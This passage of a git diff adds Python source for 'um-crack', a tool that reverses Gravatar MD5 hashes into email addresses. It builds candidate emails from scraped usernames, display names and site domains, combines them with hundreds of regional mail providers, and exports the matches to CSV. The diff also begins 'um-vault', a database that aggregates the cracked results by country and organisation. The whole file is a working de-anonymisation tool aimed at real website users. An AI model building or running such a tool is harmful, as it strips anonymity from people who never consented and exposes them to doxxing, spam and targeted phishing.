"hotmail.fi"], + "pl": ["wp.pl", "o2.pl", "interia.pl", "poczta.fm", "op.pl", "tlen.pl", + "yahoo.pl", "hotmail.pl", "gazeta.pl"], + "cz": ["seznam.cz", "centrum.cz", "email.cz", "atlas.cz", "post.cz"], + "ru": ["mail.ru", "yandex.ru", "rambler.ru", "bk.ru", "list.ru", + "inbox.ru", "ya.ru"], + "pt": ["sapo.pt", "clix.pt", "yahoo.pt", "hotmail.pt", "outlook.pt"], + "ie": ["eircom.net", "yahoo.ie", "hotmail.ie"], + "gr": ["otenet.gr", "yahoo.gr", "hotmail.gr", "forthnet.gr"], + + # Asia-Pacific + "jp": ["yahoo.co.jp", "docomo.ne.jp", "ezweb.ne.jp", "softbank.ne.jp", + "nifty.com", "biglobe.ne.jp", "ocn.ne.jp", "infoseek.jp", + "excite.co.jp", "goo.ne.jp"], + "cn": ["qq.com", "163.com", "126.com", "sina.com", "sohu.com", + "aliyun.com", "foxmail.com", "yeah.net", "tom.com", "21cn.com"], + "kr": ["naver.com", "daum.net", "hanmail.net", "nate.com", "korea.com"], + "in": ["rediffmail.com", "sify.com", "yahoo.co.in", "hotmail.co.in", + "indiatimes.com"], + "au": ["bigpond.com", "optusnet.com.au", "internode.on.net", "iinet.net.au", + "yahoo.com.au", "hotmail.com.au", "tpg.com.au"], + "nz": ["xtra.co.nz", "yahoo.co.nz", "hotmail.co.nz", "clear.net.nz"], + "tw": ["yahoo.com.tw", "hotmail.com.tw", "pchome.com.tw", "hinet.net"], + "hk": ["yahoo.com.hk", "hotmail.com.hk", "netvigator.com"], + "sg": ["singnet.com.sg", "yahoo.com.sg", "hotmail.com.sg"], + "th": ["yahoo.co.th", "hotmail.co.th"], + "id": ["yahoo.co.id", "hotmail.co.id", "telkom.net"], + "ph": ["yahoo.com.ph", "hotmail.com.ph", "globe.com.ph"], + "my": ["yahoo.com.my", "hotmail.com.my", "streamyx.com"], + + # Middle East & Africa + "il": ["walla.co.il", "bezeqint.net", "netvision.net.il", "013.net"], + "ae": ["emirates.net.ae", "eim.ae", "yahoo.ae"], + "sa": ["yahoo.sa", "hotmail.sa"], + "za": ["mweb.co.za", "telkomsa.net", "vodamail.co.za", "yahoo.co.za", + "webmail.co.za"], + "eg": ["yahoo.com.eg", "hotmail.com.eg"], + "ng": ["yahoo.com.ng"], + "ke": ["yahoo.co.ke"], + "tr": ["yahoo.com.tr", "hotmail.com.tr", "mynet.com", "superonline.com"], +} + +# Flatten all providers into one list +ALL_PROVIDERS = list(MAJOR_PROVIDERS) +for region_providers in REGIONAL_PROVIDERS.values(): + ALL_PROVIDERS.extend(region_providers) +ALL_PROVIDERS = list(set(ALL_PROVIDERS)) # Dedupe +ALL_PROVIDERS.sort() + +# Additional disposable / tech providers +TECH_PROVIDERS = [ + "protonmail.ch", "tutanota.de", "tutamail.com", "keemail.me", + "disroot.org", "riseup.net", "autistici.org", "cock.li", + "airmail.cc", "420blaze.it", "national.shitposting.agency", + "memeware.net", "horsefucker.org", "waifu.club", "getbackinthe.kitchen", + "wants.dickinthe.us", "goat.si", "cocaine.ninja", +] + +ALL_PROVIDERS.extend(TECH_PROVIDERS) +ALL_PROVIDERS = sorted(set(ALL_PROVIDERS)) + +# ─── Database ───────────────────────────────────────────────────────────────── +def init_db(path="um-crack.db"): + conn = sqlite3.connect(path, check_same_thread=False) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA busy_timeout=5000") + conn.execute(""" + CREATE TABLE IF NOT EXISTS hashes ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + hash TEXT UNIQUE NOT NULL, + domain TEXT DEFAULT '', + username TEXT DEFAULT '', + display_name TEXT DEFAULT '', + user_id INTEGER DEFAULT 0, + cracked_email TEXT DEFAULT '', + crack_method TEXT DEFAULT '', + crack_time_ms INTEGER DEFAULT 0, + first_seen DATETIME DEFAULT CURRENT_TIMESTAMP, + cracked_at DATETIME + ) + """) + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_hash ON hashes(hash)") + conn.execute("CREATE INDEX IF NOT EXISTS idx_hashes_cracked ON hashes(cracked_email)") + conn.commit() + return conn + +def import_from_hash_db(conn, hash_db_path): + """Import hashes from a um-hash.db database.""" + if not os.path.exists(hash_db_path): + return 0 + src = sqlite3.connect(hash_db_path) + src.row_factory = sqlite3.Row + rows = src.execute("SELECT hash, domain, username, display_name, user_id FROM hashes").fetchall() + count = 0 + for r in rows: + try: + conn.execute(""" + INSERT INTO hashes (hash, domain, username, display_name, user_id) + VALUES (?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END, + user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END + """, (r["hash"], r["domain"], r["username"], r["display_name"], r["user_id"])) + count += 1 + except Exception: + pass + conn.commit() + src.close() + return count + +def import_hashes_from_file(conn, filepath): + """Import raw hashes from a text file (one hash per line).""" + count = 0 + with open(filepath) as f: + for line in f: + h = line.strip().lower() + if re.match(r'^[a-f0-9]{32}$', h): + try: + conn.execute( + "INSERT OR IGNORE INTO hashes (hash) VALUES (?)", (h,)) + count += 1 + except Exception: + pass + conn.commit() + return count + +# ─── Email Candidate Generation ────────────────────────────────────────────── +def normalize_name(name): + """Normalize a display name for email generation.""" + name = name.lower().strip() + name = re.sub(r'[^\w\s.-]', '', name) + return name + +def generate_username_variants(username): + """Generate email local-part variants from a username.""" + if not username: + return [] + u = username.lower().strip() + variants = [u] + + # Common separators + if "_" in u: + variants.append(u.replace("_", ".")) + variants.append(u.replace("_", "")) + variants.append(u.replace("_", "-")) + if "." in u: + variants.append(u.replace(".", "_")) + variants.append(u.replace(".", "")) + variants.append(u.replace(".", "-")) + if "-" in u: + variants.append(u.replace("-", ".")) + variants.append(u.replace("-", "_")) + variants.append(u.replace("-", "")) + + return list(set(variants)) + +def generate_name_variants(display_name): + """Generate email local-part variants from a display name.""" + if not display_name: + return [] + + name = normalize_name(display_name) + parts = name.split() + + if not parts: + return [] + + variants = set() + + if len(parts) == 1: + w = parts[0] + variants.add(w) + return list(variants) + + first = parts[0] + last = parts[-1] + middle = parts[1:-1] if len(parts) > 2 else [] + + # Basic combinations + variants.add(f"{first}{last}") + variants.add(f"{first}.{last}") + variants.add(f"{first}_{last}") + variants.add(f"{first}-{last}") + variants.add(f"{last}{first}") + variants.add(f"{last}.{first}") + variants.add(f"{last}_{first}") + variants.add(f"{last}-{first}") + + # Initials + variants.add(f"{first[0]}{last}") + variants.add(f"{first[0]}.{last}") + variants.add(f"{first[0]}_{last}") + variants.add(f"{first}{last[0]}") + variants.add(f"{first}.{last[0]}") + variants.add(f"{first[0]}{last[0]}") + + # First name only, last name only + variants.add(first) + variants.add(last) + + # With middle initial + if middle: + mi = middle[0][0] + variants.add(f"{first}{mi}{last}") + variants.add(f"{first}.{mi}.{last}") + variants.add(f"{first}{mi}.{last}") + variants.add(f"{first[0]}{mi}{last}") + + # Number suffixes (common patterns) + for base in [f"{first}{last}", f"{first}.{last}", first, last]: + for suffix in ["1", "2", "12", "13", "21", "22", "23", "69", "77", + "88", "99", "00", "01", "07", "11", "123", "321", + "007", "666", "777", "888", "999"]: + variants.add(f"{base}{suffix}") + + # Year suffixes + for base in [f"{first}{last}", f"{first}.{last}"]: + for year in range(60, 100): + variants.add(f"{base}{year}") + for year in range(0, 10): + variants.add(f"{base}0{year}") + + return list(variants) + +def generate_domain_variants(domain): + """Generate email local-parts from the website domain.""" + if not domain: + return [] + variants = set() + + # Strip TLD + parts = domain.split(".") + if len(parts) >= 2: + name = parts[0] # e.g., "example" from "example.com" + variants.add(name) + variants.add(f"admin") + variants.add(f"info") + variants.add(f"contact") + variants.add(f"support") + variants.add(f"hello") + variants.add(f"press") + variants.add(f"media") + variants.add(f"editor") + variants.add(f"news") + variants.add(f"team") + variants.add(f"webmaster") + variants.add(f"postmaster") + + return list(variants) + +# ─── Cracking Engine ───────────────────────────────────────────────────────── +class Cracker: + def __init__(self, conn, providers=None, custom_wordlist=None): + self.conn = conn + self.providers = providers or ALL_PROVIDERS + self.custom_wordlist = custom_wordlist or [] + self.console = Console() + # Stats + self.total_hashes = 0 + self.uncracked = 0 + self.cracked = 0 + self.candidates_tested = 0 + self.start_time = 0 + self.newly_cracked = [] + + def load_hashes(self): + """Load all uncracked hashes into a lookup dict.""" + rows = self.conn.execute( + "SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = ''" + ).fetchall() + return {r["hash"]: dict(r) for r in rows} + + def check_candidate(self, email, hash_lookup): + """Check if an email's MD5 matches any hash.""" + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + if h in hash_lookup: + return h, email + return None, None + + def crack(self, region_focus=None, use_custom_only=False): + """Run the cracking engine.""" + self.start_time = time.monotonic() + hash_lookup = self.load_hashes() + self.total_hashes = len(hash_lookup) + self.conn.execute( + "SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + self.uncracked = len(hash_lookup) + self.cracked = 0 + self.candidates_tested = 0 + self.newly_cracked = [] + + if not hash_lookup: + self.console.print("[dim]No uncracked hashes to process.[/]") + return + + # Select provider list + if use_custom_only: + providers = [] + elif region_focus and region_focus in REGIONAL_PROVIDERS: + providers = MAJOR_PROVIDERS + REGIONAL_PROVIDERS[region_focus] + else: + providers = self.providers + + # Build candidate generators per hash + self.console.print(f"[green]Loaded {len(hash_lookup)} uncracked hashes[/]") + self.console.print(f"[green]Using {len(providers)} email providers[/]") + if self.custom_wordlist: + self.console.print(f"[green]Custom wordlist: {len(self.custom_wordlist)} entries[/]") + + with Progress( + SpinnerColumn(), + TextColumn("[bold green]{task.description}"), + BarColumn(bar_width=40), + TextColumn("[cyan]{task.fields[stats]}"), + TimeElapsedColumn(), + console=self.console, + ) as progress: + task_id = progress.add_task("Cracking", total=None, stats="") + + # Phase 1: Username + provider combinations + for h, info in list(hash_lookup.items()): + username_variants = generate_username_variants(info.get("username", "")) + name_variants = generate_name_variants(info.get("display_name", "")) + domain_variants = generate_domain_variants(info.get("domain", "")) + + all_local_parts = set(username_variants + name_variants + domain_variants) + + # Also add custom wordlist entries + if self.custom_wordlist: + all_local_parts.update(self.custom_wordlist) + + for local_part in all_local_parts: + if not local_part: + continue + + # Try domain as email domain first (site-specific emails) + site_domain = info.get("domain", "") + if site_domain: + email = f"{local_part}@{site_domain}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "domain_match", hash_lookup) + continue + + # Try all providers + for provider in providers: + email = f"{local_part}@{provider}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "provider_match", hash_lookup) + break + + # Update progress periodically + if self.candidates_tested % 10000 == 0: + elapsed = time.monotonic() - self.start_time + rate = self.candidates_tested / elapsed if elapsed > 0 else 0 + progress.update(task_id, + stats=f"Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s") + + # Phase 2: Custom wordlist as full emails + if self.custom_wordlist: + for word in self.custom_wordlist: + if "@" in word: + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(word, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "wordlist", hash_lookup) + + # Phase 3: Common standalone patterns + common_names = [ + "admin", "info", "contact", "support", "test", "user", + "demo", "guest", "root", "mail", "email", "office", + "help", "sales", "service", "webmaster", "postmaster", + "noreply", "no-reply", "newsletter", "feedback", + ] + for name in common_names: + for provider in MAJOR_PROVIDERS[:10]: + email = f"{name}@{provider}" + self.candidates_tested += 1 + matched_hash, matched_email = self.check_candidate(email, hash_lookup) + if matched_hash: + self._record_crack(matched_hash, matched_email, "common_pattern", hash_lookup) + + elapsed = time.monotonic() - self.start_time + rate = self.candidates_tested / elapsed if elapsed > 0 else 0 + progress.update(task_id, completed=True, + stats=f"Done! Cracked:{self.cracked} | Tested:{self.candidates_tested:,} | {rate:,.0f}/s") + + def _record_crack(self, hash_val, email, method, hash_lookup): + """Record a cracked hash.""" + elapsed_ms = int((time.monotonic() - self.start_time) * 1000) + self.conn.execute(""" + UPDATE hashes SET cracked_email = ?, crack_method = ?, + crack_time_ms = ?, cracked_at = CURRENT_TIMESTAMP + WHERE hash = ? + """, (email, method, elapsed_ms, hash_val)) + self.conn.commit() + + info = hash_lookup.pop(hash_val, {}) + self.cracked += 1 + self.uncracked -= 1 + self.newly_cracked.append({ + "hash": hash_val, + "email": email, + "method": method, + "username": info.get("username", ""), + "domain": info.get("domain", ""), + }) + + self.console.print( + f" [bold green]CRACKED[/] {email} " + f"[dim](hash: {hash_val[:16]}... user: {info.get('username', '?')} @ {info.get('domain', '?')})[/]" + ) + +# ─── Dashboard TUI ─────────────────────────────────────────────────────────── +console = Console() + +MENU_ITEMS = [ + ("1", "Load hashes (.db / .txt)"), + ("2", "Add custom wordlist"), + ("3", "Start cracking"), + ("4", "View cracked"), + ("5", "View uncracked"), + ("6", "Export CSV"), + ("7", "Statistics"), + ("8", "Verify email"), + ("9", "Hash an email"), + ("Q", "Quit"), +] + +CRACK_INFO = [ + f"{len(ALL_PROVIDERS)} email providers", + "Pattern-based email recovery", + "Cultural naming patterns", + "Region-focused cracking", + "Custom wordlist support", + "Local computation only", +] + +def get_db_stats(conn): + try: + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + return f"Loaded: {total:,} | Cracked: {cracked:,} | Uncracked: {total-cracked:,}" + except Exception: + return "DB: empty" + +def show_results(conn, limit=50): + rows = conn.execute(""" + SELECT hash, domain, username, display_name, cracked_email, crack_method + FROM hashes WHERE cracked_email != '' + ORDER BY cracked_at DESC LIMIT ? + """, (limit,)).fetchall() + + table = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]") + table.add_column("Hash", style="cyan", width=18) + table.add_column("Email", style="bold green", max_width=35) + table.add_column("Username", style="white", max_width=15) + table.add_column("Domain", style="dim", max_width=20) + table.add_column("Method", style="yellow", width=16) + + for r in rows: + table.add_row( + r["hash"][:16] + "...", + r["cracked_email"], + r["username"] or "-", + r["domain"] or "-", + r["crack_method"] or "-" + ) + console.print(table) + +def show_uncracked(conn, limit=30): + rows = conn.execute(""" + SELECT hash, domain, username, display_name + FROM hashes WHERE cracked_email = '' + ORDER BY domain, username LIMIT ? + """, (limit,)).fetchall() + + table = Table(box=box.ROUNDED, border_style="yellow", title="[yellow]Uncracked Hashes[/]") + table.add_column("Hash", style="cyan", width=34) + table.add_column("Domain", style="white", max_width=25) + table.add_column("Username", style="dim", max_width=20) + table.add_column("Display Name", style="dim", max_width=20) + + for r in rows: + table.add_row(r["hash"], r["domain"] or "-", + r["username"] or "-", r["display_name"] or "-") + console.print(table) + +def show_stats(conn): + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + uncracked = total - cracked + unique_domains = conn.execute("SELECT COUNT(DISTINCT domain) FROM hashes WHERE domain != ''").fetchone()[0] + + # Top cracked providers + top_providers = conn.execute(""" + SELECT SUBSTR(cracked_email, INSTR(cracked_email, '@') + 1) as provider, + COUNT(*) as cnt + FROM hashes WHERE cracked_email != '' + GROUP BY provider ORDER BY cnt DESC LIMIT 10 + """).fetchall() + + # Top crack methods + top_methods = conn.execute(""" + SELECT crack_method, COUNT(*) as cnt + FROM hashes WHERE cracked_email != '' + GROUP BY crack_method ORDER BY cnt DESC + """).fetchall() + + table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]") + table.add_column("Metric", style="bold") + table.add_column("Value", justify="right", style="cyan") + table.add_row("Total Hashes", str(total)) + table.add_row("Cracked", f"[bold green]{cracked}[/]") + table.add_row("Uncracked", f"[yellow]{uncracked}[/]") + table.add_row("Crack Rate", f"{cracked/total*100:.1f}%" if total else "0%") + table.add_row("Source Domains", str(unique_domains)) + table.add_row("Email Providers", str(len(ALL_PROVIDERS))) + console.print(table) + + if top_providers: + prov_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Top Cracked Providers[/]") + prov_table.add_column("Provider", style="green") + prov_table.add_column("Count", justify="right", style="cyan") + for p in top_providers: + prov_table.add_row(p["provider"], str(p["cnt"])) + console.print(prov_table) + + if top_methods: + meth_table = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[{THEME_COLOR}]Crack Methods[/]") + meth_table.add_column("Method", style="yellow") + meth_table.add_column("Count", justify="right", style="cyan") + for m in top_methods: + meth_table.add_row(m["crack_method"], str(m["cnt"])) + console.print(meth_table) + +def export_csv_fn(conn, output="um-crack-export.csv"): + cursor = conn.execute(""" + SELECT hash, domain, username, display_name, cracked_email, + crack_method, crack_time_ms, cracked_at + FROM hashes WHERE cracked_email != '' + ORDER BY domain, cracked_email + """) + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported {len(rows)} cracked hashes to {output}[/]") + +def export_all_csv(conn, output="um-crack-all.csv"): + cursor = conn.execute("SELECT * FROM hashes ORDER BY domain, hash") + rows = cursor.fetchall() + cols = [d[0] for d in cursor.description] + + with open(output, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow(cols) + for r in rows: + writer.writerow(list(r)) + console.print(f"[green]Exported all {len(rows)} hashes to {output}[/]") + +def load_wordlist(path): + """Load a custom wordlist for cracking.""" + words = [] + with open(path) as f: + for line in f: + word = line.strip() + if word and not word.startswith("#"): + words.append(word.lower()) + return words + +def merge_databases(db_paths, output="um-crack.db"): + conn = init_db(output) + for path in db_paths: + if not os.path.exists(path): + continue + src = sqlite3.connect(path) + src.row_factory = sqlite3.Row + for r in src.execute("SELECT * FROM hashes").fetchall(): + try: + conn.execute(""" + INSERT INTO hashes (hash, domain, username, display_name, user_id, + cracked_email, crack_method, crack_time_ms, cracked_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(hash) DO UPDATE SET + domain = CASE WHEN excluded.domain != '' THEN excluded.domain ELSE domain END, + username = CASE WHEN excluded.username != '' THEN excluded.username ELSE username END, + display_name = CASE WHEN excluded.display_name != '' THEN excluded.display_name ELSE display_name END, + user_id = CASE WHEN excluded.user_id > 0 THEN excluded.user_id ELSE user_id END, + cracked_email = CASE WHEN excluded.cracked_email != '' THEN excluded.cracked_email ELSE cracked_email END, + crack_method = CASE WHEN excluded.crack_method != '' THEN excluded.crack_method ELSE crack_method END, + cracked_at = CASE WHEN excluded.cracked_at IS NOT NULL THEN excluded.cracked_at ELSE cracked_at END + """, (r["hash"], r["domain"], r["username"], r["display_name"], + r["user_id"], r["cracked_email"], r["crack_method"], + r["crack_time_ms"], r["cracked_at"])) + except Exception: + pass + src.close() + console.print(f"[dim]Merged: {path}[/dim]") + conn.commit() + return conn + +# ─── CLI ────────────────────────────────────────────────────────────────────── +@click.group(invoke_without_command=True) +@click.option("--db", default="um-crack.db", help="Database file path") +@click.option("--engagement", "-E", default=None, help="Engagement name for organized output") +@click.option("--scope", "scope_file", default=None, help="Scope file to restrict targets") +@click.pass_context +def cli(ctx, db, engagement, scope_file): + """Umbra Hash Cracker — Pattern-based email recovery from Gravatar hashes.""" + ctx.ensure_object(dict) + # Env var fallback + engagement = engagement or os.environ.get("UMBRA_ENGAGEMENT", "") + scope_file = scope_file or os.environ.get("UMBRA_SCOPE", "") + scope = [] + if engagement: + create_engagement(engagement) + db = get_engagement_db_path(engagement, TOOL_NAME) + if scope_file: + scope = load_scope(scope_file) + ctx.obj["db"] = db + ctx.obj["engagement"] = engagement + ctx.obj["scope"] = scope + # Ops hook + hook = get_ops_hook(TOOL_NAME, engagement) + ctx.obj["hook"] = hook + if hook: + hook.register() + if ctx.invoked_subcommand is None: + interactive_menu(ctx) + +@cli.command("load") +@click.argument("source") +@click.pass_context +def load_cmd(ctx, source): + """Load hashes from a um-hash.db or text file.""" + conn = init_db(ctx.obj["db"]) + + if source.endswith(".db"): + count = import_from_hash_db(conn, source) + console.print(f"[green]Imported {count} hashes from {source}[/]") + else: + count = import_hashes_from_file(conn, source) + console.print(f"[green]Imported {count} hashes from {source}[/]") + + show_stats(conn) + conn.close() + +@cli.command() +@click.option("--region", default=None, help="Focus on region (e.g., us, uk, de, jp, cn)") +@click.option("--wordlist", default=None, help="Custom wordlist file") +@click.option("--providers-only", default=None, help="Comma-separated list of email providers to try") +@click.pass_context +def crack(ctx, region, wordlist, providers_only): + """Start cracking loaded hashes.""" + conn = init_db(ctx.obj["db"]) + + custom_words = load_wordlist(wordlist) if wordlist else [] + providers = None + if providers_only: + providers = [p.strip() for p in providers_only.split(",")] + + cracker = Cracker(conn, providers=providers, custom_wordlist=custom_words) + cracker.crack(region_focus=region) + + console.print() + if cracker.newly_cracked: + console.print(f"[bold green]Newly cracked: {len(cracker.newly_cracked)}[/]") + show_stats(conn) + conn.close() + +@cli.command() +@click.pass_context +def results(ctx): + """Show cracked hashes.""" + conn = init_db(ctx.obj["db"]) + show_results(conn, limit=100) + show_stats(conn) + conn.close() + +@cli.command() +@click.pass_context +def uncracked(ctx): + """Show uncracked hashes.""" + conn = init_db(ctx.obj["db"]) + show_uncracked(conn, limit=100) + conn.close() + +@cli.command() +@click.option("-o", "--output", default="um-crack-export.csv") +@click.option("--all", "export_all", is_flag=True, help="Export all hashes (not just cracked)") +@click.pass_context +def export(ctx, output, export_all): + """Export results to CSV.""" + conn = init_db(ctx.obj["db"]) + if export_all: + export_all_csv(conn, output) + else: + export_csv_fn(conn, output) + conn.close() + +@cli.command() +@click.pass_context +def stats(ctx): + """Show database statistics.""" + conn = init_db(ctx.obj["db"]) + show_stats(conn) + conn.close() + +@cli.command() +@click.argument("directory") +@click.option("-o", "--output", default="um-crack.db") +@click.pass_context +def merge(ctx, directory, output): + """Merge multiple .db files.""" + import glob + db_paths = glob.glob(os.path.join(directory, "*.db")) + if not db_paths: + console.print(f"[red]No .db files found in {directory}[/]") + return + conn = merge_databases(db_paths, output) + show_stats(conn) + conn.close() + +@cli.command() +@click.argument("email") +@click.pass_context +def verify(ctx, email): + """Verify an email against loaded hashes.""" + conn = init_db(ctx.obj["db"]) + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone() + if row: + console.print(f"[bold green]MATCH![/] Hash {h} matches email {email}") + console.print(f" Domain: {row['domain'] or '-'}") + console.print(f" Username: {row['username'] or '-'}") + console.print(f" Display Name: {row['display_name'] or '-'}") + + # Update if not already cracked + if not row["cracked_email"]: + conn.execute(""" + UPDATE hashes SET cracked_email = ?, crack_method = 'manual_verify', + cracked_at = CURRENT_TIMESTAMP + WHERE hash = ? + """, (email, h)) + conn.commit() + console.print("[green]Recorded as cracked.[/]") + else: + console.print(f"[dim]No match. Hash {h} not in database.[/]") + conn.close() + +@cli.command("hash-email") +@click.argument("email") +def hash_email(email): + """Show the MD5 hash of an email address.""" + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + console.print(f"[cyan]{email}[/] → [green]{h}[/]") + +# ─── Interactive Menu ───────────────────────────────────────────────────────── +def interactive_menu(ctx): + conn = init_db(ctx.obj["db"]) + + custom_wordlist = [] + + def action_handler(key, tui): + nonlocal custom_wordlist + + if key == "1": + def on_source(source): + if not os.path.exists(source): + tui.log(f"[!] File not found: {source}") + return + if source.endswith(".db"): + count = import_from_hash_db(conn, source) + else: + count = import_hashes_from_file(conn, source) + tui.log(f"[+] Imported {count} hashes from {source}") + tui.prompt("Path to .db or .txt file", on_source) + + elif key == "2": + def on_path(wl_path): + nonlocal custom_wordlist + if os.path.exists(wl_path): + custom_wordlist = load_wordlist(wl_path) + tui.log(f"[+] Loaded {len(custom_wordlist)} words from {wl_path}") + else: + tui.log(f"[!] File not found: {wl_path}") + tui.prompt("Wordlist file path", on_path) + + elif key == "3": + def on_region(region): + if region == "all": + region_val = None + else: + region_val = region + tui.log("[*] Starting crack session...") + cracker = Cracker(conn, custom_wordlist=custom_wordlist) + original_record = cracker._record_crack + + def patched_record(hash_val, email, method, hash_lookup): + original_record(hash_val, email, method, hash_lookup) + tui.log(f"[+] CRACKED: {email} ({method})") + + cracker._record_crack = patched_record + + def do_crack(): + cracker.crack(region_focus=region_val) + if cracker.newly_cracked: + tui.log(f"[+] Session complete: {len(cracker.newly_cracked)} new cracks") + else: + tui.log("[-] Session complete: no new cracks") + tui.log(f"[*] Tested {cracker.candidates_tested:,} candidates") + + tui.run_threaded(do_crack, status="Cracking...") + tui.prompt("Region focus (us/uk/de/jp/cn/etc, or 'all')", on_region, default="all") + + elif key == "4": + rows = conn.execute( + "SELECT hash, domain, username, display_name, cracked_email, crack_method FROM hashes WHERE cracked_email != '' ORDER BY cracked_at DESC LIMIT 50" + ).fetchall() + t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Cracked Hashes[/]") + t.add_column("Hash", style="dim", max_width=16) + t.add_column("Domain", style="cyan") + t.add_column("User", style="green") + t.add_column("Email", style="bold green") + t.add_column("Method", style="yellow") + for r in rows: + t.add_row(r["hash"][:16], r["domain"], r["username"], r["cracked_email"], r["crack_method"]) + tui.show_table(t) + + elif key == "5": + rows = conn.execute( + "SELECT hash, domain, username, display_name FROM hashes WHERE cracked_email = '' OR cracked_email IS NULL LIMIT 50" + ).fetchall() + t = Table(box=box.HEAVY, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Uncracked Hashes[/]") + t.add_column("Hash", style="dim", max_width=16) + t.add_column("Domain", style="cyan") + t.add_column("User", style="green") + t.add_column("Display Name") + for r in rows: + t.add_row(r["hash"][:16], r["domain"], r["username"], r["display_name"]) + tui.show_table(t) + + elif key == "6": + def on_file(output_file): + export_csv_fn(conn, output_file) + tui.log(f"[+] Exported to {output_file}") + tui.prompt("Output file", on_file, default="um-crack-export.csv") + + elif key == "7": + total = conn.execute("SELECT COUNT(*) FROM hashes").fetchone()[0] + cracked = conn.execute("SELECT COUNT(*) FROM hashes WHERE cracked_email != ''").fetchone()[0] + uncracked = total - cracked + t = Table(box=box.ROUNDED, border_style=THEME_COLOR, title=f"[bold {THEME_COLOR}]Statistics[/]") + t.add_column("Metric", style="bold") + t.add_column("Value", justify="right", style="cyan") + t.add_row("Total Hashes", f"{total:,}") + t.add_row("Cracked", f"[green]{cracked:,}[/]") + t.add_row("Uncracked", f"[yellow]{uncracked:,}[/]") + if total > 0: + t.add_row("Crack Rate", f"{cracked/total*100:.1f}%") + tui.show_table(t) + + elif key == "8": + def on_email(email): + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + row = conn.execute("SELECT * FROM hashes WHERE hash = ?", (h,)).fetchone() + if row: + tui.log(f"[+] MATCH: {email} -> {h}") + if not row["cracked_email"]: + conn.execute("UPDATE hashes SET cracked_email=?, crack_method='manual', cracked_at=CURRENT_TIMESTAMP WHERE hash=?", + (email, h)) + conn.commit() + tui.log(" Recorded as cracked.") + else: + tui.log(f"[-] No match for {email} (hash: {h})") + tui.prompt("Email to verify", on_email) + + elif key == "9": + def on_email(email): + h = hashlib.md5(email.lower().strip().encode()).hexdigest() + tui.log(f"[*] {email} -> {h}") + tui.prompt("Email", on_email) + + tui = UmbraTUI( + tool_name=TOOL_NAME, + version=VERSION, + menu_items=MENU_ITEMS, + info_items=CRACK_INFO, + action_handler=action_handler, + stats_fn=lambda: get_db_stats(conn), + theme=THEME_COLOR, + engagement=ctx.obj.get("engagement"), + ) + tui.run() + conn.close() + +if __name__ == "__main__": + cli() diff --git a/tools/umbra/um-vault.py b/tools/umbra/um-vault.py new file mode 100755 index 0000000..2e796fa --- /dev/null +++ b/tools/umbra/um-vault.py @@ -0,0 +1,920 @@ +#!/usr/bin/env python3 +"""um-vault.py — Umbra Master Database Aggregator +10-table relational schema (countries→orgs→domains→hashes→cracked). +Imports from um-hash + um-crack databases, statistics dashboard. +""" + +import csv +import glob +import json +import os +import sqlite3 +import sys +import time +from datetime import datetime + +import click +from rich.console import Console +from rich.table import Table +from rich import box + +# ─── Version ────────────────────────────────────────────────────────────────── +VERSION = "1.0.0" +TOOL_NAME = "um-vault" +THEME_COLOR = "bright_white" +BANNER = r""" + _ _ __ __ ____ _____ __ __ _ _ _ _______ + | | | | \/ | _ \| __ \ /\ \ \ / /\ | | | | | |__ __| + | | | | \ / | |_) | |__) | / \ \ \ / / \ | | | | | | | + | | | | |\/| | _ <| _ / / /\ \ \ \/ / /\ \ | | | | | | | + | |__| | | | | |_) | | \ \ / ____ \ \ / ____ \| |__| | |____| | + \____/|_| |_|____/|_| \_\_/ \_\ \/_/ \_\\____/|______|_| +""" + +# ─── Database Schema (10 tables) ───────────────────────────────────────────── +def init_db(path="um-vault.db"): + conn = sqlite3.connect(path, check_same_thread=False) + conn.row_factory = sqlite3.Row + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA busy_timeout=5000") + conn.execute("PRAGMA foreign_keys=ON") + + # 1. Countries + conn.execute(""" + CREATE TABLE IF NOT EXISTS countries ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + code TEXT UNIQUE NOT NULL, + name TEXT DEFAULT '', + region TEXT 